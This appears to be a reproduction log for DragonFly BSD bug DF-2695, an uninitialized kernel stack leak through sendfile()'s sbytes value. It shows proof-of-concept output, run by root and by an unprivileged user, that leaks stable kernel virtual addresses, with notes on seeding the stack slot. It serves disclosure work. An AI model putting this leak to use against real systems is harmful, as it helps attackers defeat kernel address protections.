== DF-2695 baseline reproduction ==
== Guest: DragonFly dfbsd 6.5-DEVELOPMENT #0 (stock INVARIANTS) ==

--- as root ---
$ ./poc_sendfile
== DF-2695: sendfile() uninitialized kernel stack leak ==
bad socket fd (-1)           ret=-1  errno=9   (Bad file descriptor) leaked sbytes=0xffffffff809a5db0 (-2137367120)
udp socket (EINVAL)          ret=-1  errno=22  (Invalid argument) leaked sbytes=0x0000000000000000 (0)
tcp unconnected (ENOTCONN)   ret=-1  errno=57  (Socket is not connected) leaked sbytes=0x0000000000000000 (0)
negative offset (EINVAL)     ret=-1  errno=57  (Socket is not connected) leaked sbytes=0x0000000000000000 (0)
udp + negative off           ret=-1  errno=22  (Invalid argument) leaked sbytes=0x0000000000000000 (0)
-- 10 samples of the holdsock-error path --
sample                       ret=-1  errno=9   (Bad file descriptor) leaked sbytes=0x0000000000000000 (0)
... (9 more all-zero samples; the printf calls themselves re-dirty the
     stack slot between samples - see leak3.c for a stable variant)

--- as UNPRIVILEGED user maxx (uid 1001) ---
$ id
uid=1001(maxx) gid=1001(maxx)
$ ./poc_sendfile   (same output as root; first call shows the KVA)

$ ./leak3
open+sendfile    leaked sbytes=0x00000003806edfb6
open+sendfile    leaked sbytes=0x00000003806edfb6
sock+sendfile  leaked sbytes=0xfffff80117c88a40     <-- kernel virtual address
sock+sendfile  leaked sbytes=0xfffff80117c88a40     <-- stable across samples
sock+sendfile  leaked sbytes=0xfffff80117c88a40
sock+sendfile  leaked sbytes=0xfffff80117c88a40
sock+sendfile  leaked sbytes=0xfffff80117c88a40
sock+sendfile  leaked sbytes=0xfffff80117c88a40

0xfffff80117c88a40 is in the DragonFly kernel virtual address range
(0xfffff80000000000+): a kernel pointer read out of stale kernel stack.
0xffffffff809a5db0 is a kernel text/data-range pointer.
The exact value depends on which syscall last used that stack depth;
leak3.c shows how a preceding socket(2) deterministically seeds the slot.